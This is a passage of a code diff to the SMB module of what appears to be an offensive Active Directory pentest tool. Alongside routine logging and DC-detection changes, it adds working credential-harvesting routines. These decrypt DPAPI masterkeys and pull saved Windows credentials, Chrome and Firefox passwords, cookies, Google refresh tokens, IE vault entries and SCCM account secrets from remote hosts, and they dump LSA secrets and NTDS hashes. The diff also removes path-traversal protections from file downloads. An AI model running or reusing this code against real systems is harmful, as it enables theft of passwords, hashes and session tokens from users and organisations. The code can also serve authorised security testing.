# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
|
||||
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
|
||||
result = self.resolver(self.domain)
|
||||
self.kdcHost = result["host"] if result else None
|
||||
self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
|
||||
|
||||
def print_host_info(self):
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
@@ -420,8 +424,6 @@ class smb(connection):
|
||||
if self.args.generate_st:
|
||||
self.save_st(tgs, sk, spn if self.args.spn else None)
|
||||
|
||||
if not tgs and not useCache:
|
||||
self.logger.debug(f"TGS for cifs/{self.remoteName} will be requested")
|
||||
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
|
||||
|
||||
if self.args.generate_st:
|
||||
@@ -644,7 +646,7 @@ class smb(connection):
|
||||
return self.conn.isSigningRequired()
|
||||
|
||||
def create_smbv1_conn(self, check=False):
|
||||
self.logger.debug(f"Creating SMBv1 connection to {self.host}")
|
||||
self.logger.info(f"Creating SMBv1 connection to {self.host}")
|
||||
try:
|
||||
conn = SMBConnection(
|
||||
self.remoteName,
|
||||
@@ -659,26 +661,26 @@ class smb(connection):
|
||||
self.conn = conn
|
||||
except OSError as e:
|
||||
if "Connection reset by peer" in str(e):
|
||||
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
|
||||
self.logger.info(f"SMBv1 might be disabled on {self.host}")
|
||||
elif "timed out" in str(e):
|
||||
self.is_timed_out = True
|
||||
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
|
||||
else:
|
||||
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
self.smbv1 = False
|
||||
return False
|
||||
except NetBIOSError:
|
||||
self.logger.debug(f"SMBv1 disabled on {self.host}")
|
||||
self.logger.info(f"SMBv1 disabled on {self.host}")
|
||||
self.smbv1 = False
|
||||
return False
|
||||
except (Exception, NetBIOSTimeout) as e:
|
||||
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
|
||||
self.smbv1 = False
|
||||
return False
|
||||
return True
|
||||
|
||||
def create_smbv3_conn(self):
|
||||
self.logger.debug(f"Creating SMBv3 connection to {self.host}")
|
||||
self.logger.info(f"Creating SMBv3 connection to {self.host}")
|
||||
try:
|
||||
self.conn = SMBConnection(
|
||||
self.remoteName,
|
||||
@@ -693,7 +695,7 @@ class smb(connection):
|
||||
self.is_timed_out = True
|
||||
self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
|
||||
else:
|
||||
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
|
||||
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
|
||||
self.smbv3 = False
|
||||
return False
|
||||
return True
|
||||
@@ -868,7 +870,9 @@ class smb(connection):
|
||||
if self.isdc is not None:
|
||||
return self.isdc
|
||||
|
||||
probes = [self._is_dc_via_smb, self._is_dc_via_rpc]
|
||||
probes = [self._is_dc_via_smb]
|
||||
if aggressive_check:
|
||||
probes.append(self._is_dc_via_rpc)
|
||||
if self.no_ntlm or aggressive_check:
|
||||
probes.append(self._is_dc_via_kerberos)
|
||||
|
||||
@@ -887,13 +891,17 @@ class smb(connection):
|
||||
session we already hold answers without enumerating every share (unlike
|
||||
listShares). ACCESS_DENIED still proves the share exists, hence a DC.
|
||||
|
||||
Meant to run while the null session is still fresh. Without a session
|
||||
this check is inconclusive: DCs can refuse the null bind (Server 2025
|
||||
does by default, as does an NTLM-disabled DC), so we hand off to the
|
||||
RPC/Kerberos tiers.
|
||||
Meant to run while the null session is still fresh. When there is no
|
||||
session, the reason is decisive: a DC with NTLM enabled always accepts
|
||||
the null bind, so "NTLM on + no null session" means this is NOT a DC.
|
||||
Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
|
||||
bind then), so we hand that case off to the Kerberos tier.
|
||||
"""
|
||||
if not self.null_auth:
|
||||
self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
|
||||
if not self.no_ntlm:
|
||||
self.logger.debug("NTLM enabled but no null session: host is not a DC")
|
||||
return False
|
||||
self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
|
||||
return None
|
||||
try:
|
||||
tid = self.conn.connectTree("SYSVOL")
|
||||
@@ -949,17 +957,15 @@ class smb(connection):
|
||||
def _is_dc_via_rpc(self):
|
||||
"""
|
||||
Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic
|
||||
and needs no session. get_os_arch() already talks to the endpoint mapper
|
||||
on every scan, so this adds no new port and runs only when that call
|
||||
reached 135 (no extra timeout when 135 is filtered, e.g. over proxychains).
|
||||
and needs no session;
|
||||
"""
|
||||
from impacket.dcerpc.v5 import nrpc, epm
|
||||
|
||||
if self.os_arch is None:
|
||||
self.logger.debug("Port 135 unreachable (OS arch probe failed): RPC inconclusive, deferring to Kerberos")
|
||||
if not self._is_port_open(135):
|
||||
self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos")
|
||||
return None
|
||||
|
||||
self.logger.debug("Port 135 reachable, attempting Netlogon MSRPC lookup...")
|
||||
self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...")
|
||||
try:
|
||||
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
self.logger.debug("Netlogon endpoint registered: host is a DC")
|
||||
@@ -1258,7 +1264,7 @@ class smb(connection):
|
||||
self.logger.error("Could not get process list")
|
||||
return
|
||||
|
||||
pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
|
||||
pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
|
||||
if not pidList:
|
||||
self.logger.fail(f"Could not find process named {self.args.taskkill}")
|
||||
return
|
||||
@@ -1372,12 +1378,12 @@ class smb(connection):
|
||||
@requires_admin
|
||||
def tasklist(self):
|
||||
# Formats a row to be printed on screen
|
||||
def format_row(procInfo, pSid):
|
||||
def format_row(procInfo):
|
||||
return template.format(
|
||||
str(procInfo["ImageName"].getValue()),
|
||||
str(procInfo["UniqueProcessId"]),
|
||||
str(procInfo["SessionId"]),
|
||||
pSid,
|
||||
procInfo["ImageName"],
|
||||
procInfo["UniqueProcessId"],
|
||||
procInfo["SessionId"],
|
||||
procInfo["pSid"],
|
||||
f"{procInfo['WorkingSetSize'] // 1000:,} K",
|
||||
)
|
||||
|
||||
@@ -1393,8 +1399,8 @@ class smb(connection):
|
||||
if not res:
|
||||
return
|
||||
self.logger.success("Enumerated processes")
|
||||
maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
|
||||
maxSidLen = max(len(i.getSid()) for i in res)
|
||||
maxImageNameLen = max(len(i["ImageName"]) for i in res)
|
||||
maxSidLen = max(len(i["pSid"]) for i in res)
|
||||
template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
|
||||
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
|
||||
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
|
||||
@@ -1405,12 +1411,12 @@ class smb(connection):
|
||||
# If args.tasklist is not True then a process name was supplied
|
||||
if self.args.tasklist is not True:
|
||||
# So we look for it and print its information if found
|
||||
if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
|
||||
if self.args.tasklist.lower() in procInfo["ImageName"].lower():
|
||||
found_task = True
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
# Else, no process was supplied, we print the entire list of remote processes
|
||||
else:
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
|
||||
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
|
||||
if self.args.tasklist is not True and not found_task:
|
||||
@@ -1981,10 +1987,9 @@ class smb(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
*_, tgt, _ = self.conn.getCredentials()
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=tgt)
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
|
||||
if not flag or not stringBinding:
|
||||
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
|
||||
|
||||
@@ -2144,114 +2149,24 @@ class smb(connection):
|
||||
for src, dest in self.args.put_file:
|
||||
self.put_file_single(src, dest)
|
||||
|
||||
def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
|
||||
try:
|
||||
self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
|
||||
self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
|
||||
return True
|
||||
except SessionError as e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.debug(f"Sharing violation on {remote_path}: {e}")
|
||||
else:
|
||||
self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
|
||||
return False
|
||||
|
||||
def get_file_single(self, remote_path, download_path, silent=False):
|
||||
def get_file_single(self, remote_path, download_path):
|
||||
share_name = self.args.share
|
||||
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
|
||||
if self.args.append_host:
|
||||
download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
|
||||
if not silent:
|
||||
self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
|
||||
download_path = f"{self.hostname}-{remote_path}"
|
||||
with open(download_path, "wb+") as file:
|
||||
if self.download_file(share_name, remote_path, file.write):
|
||||
if not silent:
|
||||
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
|
||||
else:
|
||||
self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access")
|
||||
if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA):
|
||||
if not silent:
|
||||
self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'")
|
||||
else:
|
||||
if not silent:
|
||||
self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'")
|
||||
try:
|
||||
self.conn.getFile(share_name, remote_path, file.write)
|
||||
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
|
||||
if os.path.getsize(download_path) == 0:
|
||||
os.remove(download_path)
|
||||
|
||||
def get_file(self):
|
||||
for src, dest in self.args.get_file:
|
||||
self.get_file_single(src, dest)
|
||||
|
||||
def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False):
|
||||
folder = ntpath.normpath(folder)
|
||||
self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}")
|
||||
base_folder = os.path.basename(folder)
|
||||
self.logger.debug(f"Base folder: {base_folder}")
|
||||
|
||||
try:
|
||||
items = self.conn.listPath(self.args.share, ntpath.join(folder, "*"))
|
||||
except SessionError as e:
|
||||
self.logger.error(f"Error listing folder '{folder}': {e}")
|
||||
return
|
||||
self.logger.debug(f"{len(items)} items in folder: {items}")
|
||||
|
||||
filtered_items = [item for item in items if item.get_longname() not in [".", ".."]]
|
||||
|
||||
# Create a safe local directory structure while retaining the raw remote path for SMB.
|
||||
try:
|
||||
relative_path = ntpath.relpath(folder, base_dir or folder)
|
||||
except ValueError:
|
||||
relative_path = folder
|
||||
relative_parts = [] if relative_path == "." else [sanitize_path_component(part) for part in relative_path.split("\\") if part]
|
||||
local_folder_path = os.path.join(dest, *relative_parts)
|
||||
destination_path = Path(dest).resolve()
|
||||
resolved_folder = Path(local_folder_path).resolve()
|
||||
if resolved_folder != destination_path and destination_path not in resolved_folder.parents:
|
||||
self.logger.fail(f"Path traversal detected in '{folder}', skipping")
|
||||
return
|
||||
|
||||
if not filtered_items and ignore_empty:
|
||||
self.logger.debug(f"Skipping empty folder '{folder}'")
|
||||
return
|
||||
|
||||
# create the directory for this folder
|
||||
os.makedirs(local_folder_path, exist_ok=True)
|
||||
if not filtered_items and not silent:
|
||||
self.logger.display(f"Created empty directory '{local_folder_path}'")
|
||||
|
||||
for item in filtered_items:
|
||||
remote_item_name = item.get_longname()
|
||||
item_name = sanitize_path_component(remote_item_name)
|
||||
dir_path = ntpath.normpath(ntpath.join(folder, remote_item_name))
|
||||
self.logger.debug(f"Parsing item: {remote_item_name!r}, {dir_path!r}")
|
||||
|
||||
if item.is_directory() and recursive:
|
||||
self.logger.debug(f"Found new directory to parse: {dir_path!r}")
|
||||
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
|
||||
elif not item.is_directory():
|
||||
remote_file_path = ntpath.join(folder, remote_item_name)
|
||||
local_file_path = os.path.join(local_folder_path, item_name)
|
||||
# Defense-in-depth: verify path stays under destination
|
||||
resolved = Path(local_file_path).resolve()
|
||||
if destination_path not in resolved.parents:
|
||||
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
|
||||
continue
|
||||
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
|
||||
|
||||
try:
|
||||
self.get_file_single(remote_file_path, local_file_path, silent)
|
||||
except FileNotFoundError:
|
||||
self.logger.fail(f"Error downloading file '{remote_file_path!r}' due to file not found (probably a race condition between listing and downloading)")
|
||||
|
||||
def get_folder(self):
|
||||
recursive = self.args.recursive
|
||||
ignore_empty = self.args.ignore_empty_folders
|
||||
self.logger.debug(f"Recursive option set to {recursive}")
|
||||
self.logger.debug(f"Ignore empty folders option set to {ignore_empty}")
|
||||
for folder, dest in self.args.get_folder:
|
||||
self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty)
|
||||
self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'")
|
||||
|
||||
def enable_remoteops(self, regsecret=False):
|
||||
try:
|
||||
if regsecret:
|
||||
@@ -2325,32 +2240,255 @@ class smb(connection):
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
self.dpapi_triage.triage_sccm()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.remoteName,
|
||||
target=self.hostname + "." + self.domain if self.kerberos else self.host,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", )
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
|
||||
dump_system = "nosystem" not in self.args.dpapi
|
||||
|
||||
if self.args.pvk is not None:
|
||||
try:
|
||||
with open(self.args.pvk, "rb") as f:
|
||||
self.pvkbytes = f.read()
|
||||
self.logger.success(f"Loading domain backupkey from {self.args.pvk}")
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
|
||||
if self.pvkbytes is None:
|
||||
self.pvkbytes = get_domain_backup_key(self)
|
||||
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
target=self.remoteName,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
do_kerberos=self.kerberos,
|
||||
kdcHost=self.kdcHost,
|
||||
dc_ip=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=self.use_kcache,
|
||||
)
|
||||
|
||||
self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler]
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=self.conn, target=target)
|
||||
if conn is None:
|
||||
self.logger.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
self.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
if dump_system:
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
dump_cookies = "cookies" in self.args.dpapi
|
||||
|
||||
cng_chromekey = None
|
||||
try:
|
||||
cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
self.db.add_dpapi_secrets(
|
||||
target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.logger.highlight(line)
|
||||
if self.output_file:
|
||||
self.output_file.write(line + "\n")
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
if self.output_file:
|
||||
self.output_file.close()
|
||||
with open(self.output_file_template.format(output_folder="dpapi")) as f:
|
||||
if sum(1 for _ in f) == 0:
|
||||
self.logger.fail("No dpapi loot retrieved")
|
||||
|
||||
@requires_admin
|
||||
def list_snapshots(self):
|
||||
@@ -2367,22 +2505,13 @@ class smb(connection):
|
||||
self.logger.highlight(f"{drive:<8}{i:<26}")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self, quiet=False):
|
||||
def lsa(self):
|
||||
try:
|
||||
# --dpapi calls lsa() without --lsa, so it gets the default regdump mode too
|
||||
self.enable_remoteops(regsecret=(self.args.lsa != "secdump"))
|
||||
self.enable_remoteops(regsecret=(self.args.lsa == "regdump"))
|
||||
|
||||
def add_lsa_secret(secret):
|
||||
add_lsa_secret.secrets += 1
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
self.logger.highlight(secret)
|
||||
if "_SC_GMSA_{84A78B8C" in secret:
|
||||
gmsa_id = secret.split("_")[4].split(":")[0]
|
||||
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
||||
@@ -2392,13 +2521,12 @@ class smb(connection):
|
||||
ntlm_hash = MD4.new()
|
||||
ntlm_hash.update(currentPassword)
|
||||
passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8")
|
||||
if not quiet:
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}")
|
||||
|
||||
add_lsa_secret.secrets = 0
|
||||
|
||||
if self.remote_ops and self.bootkey:
|
||||
if self.args.lsa != "secdump":
|
||||
if self.args.lsa == "regdump":
|
||||
LSA = RegSecretsLSASecrets(
|
||||
self.bootkey,
|
||||
self.remote_ops,
|
||||
@@ -2413,15 +2541,13 @@ class smb(connection):
|
||||
isRemote=True,
|
||||
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret),
|
||||
)
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
self.output_filename = self.output_file_template.format(output_folder="lsa")
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.exportCached(self.output_filename)
|
||||
LSA.dumpSecrets()
|
||||
LSA.exportSecrets(self.output_filename)
|
||||
if not quiet:
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}")
|
||||
try:
|
||||
self.remote_ops.finish()
|
||||
except Exception as e:
|
||||
@@ -2436,15 +2562,13 @@ class smb(connection):
|
||||
|
||||
def ntds(self):
|
||||
self.enable_remoteops()
|
||||
is_remote = True
|
||||
use_vss_method = False
|
||||
NTDSFileName = None
|
||||
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
||||
printed_kerb_keys_banner = False
|
||||
printed_trust_keys_banner = False
|
||||
|
||||
def add_hash(secret_type, secret, host_id):
|
||||
nonlocal printed_kerb_keys_banner, printed_trust_keys_banner
|
||||
nonlocal printed_kerb_keys_banner
|
||||
if self.args.kerberos_keys and not printed_kerb_keys_banner and secret_type == NTDSHashes.SECRET_TYPE.NTDS_KERBEROS:
|
||||
self.logger.display("Kerberos keys:")
|
||||
printed_kerb_keys_banner = True
|
||||
@@ -2455,15 +2579,13 @@ class smb(connection):
|
||||
else:
|
||||
add_hash.nt_lm_secrets += 1
|
||||
|
||||
is_enabled_account = secret.endswith(" (status=Enabled)")
|
||||
is_trust_key = " (Incoming" in secret or " (Outgoing" in secret
|
||||
for status in (" (status=Enabled)", " (status=Disabled)", " (status=N/A)"):
|
||||
secret = secret.removesuffix(status)
|
||||
|
||||
if not self.args.enabled or is_enabled_account or is_trust_key:
|
||||
if is_trust_key and not printed_trust_keys_banner:
|
||||
self.logger.display("Trust keys:")
|
||||
printed_trust_keys_banner = True
|
||||
# Log the secret based on args
|
||||
if self.args.enabled:
|
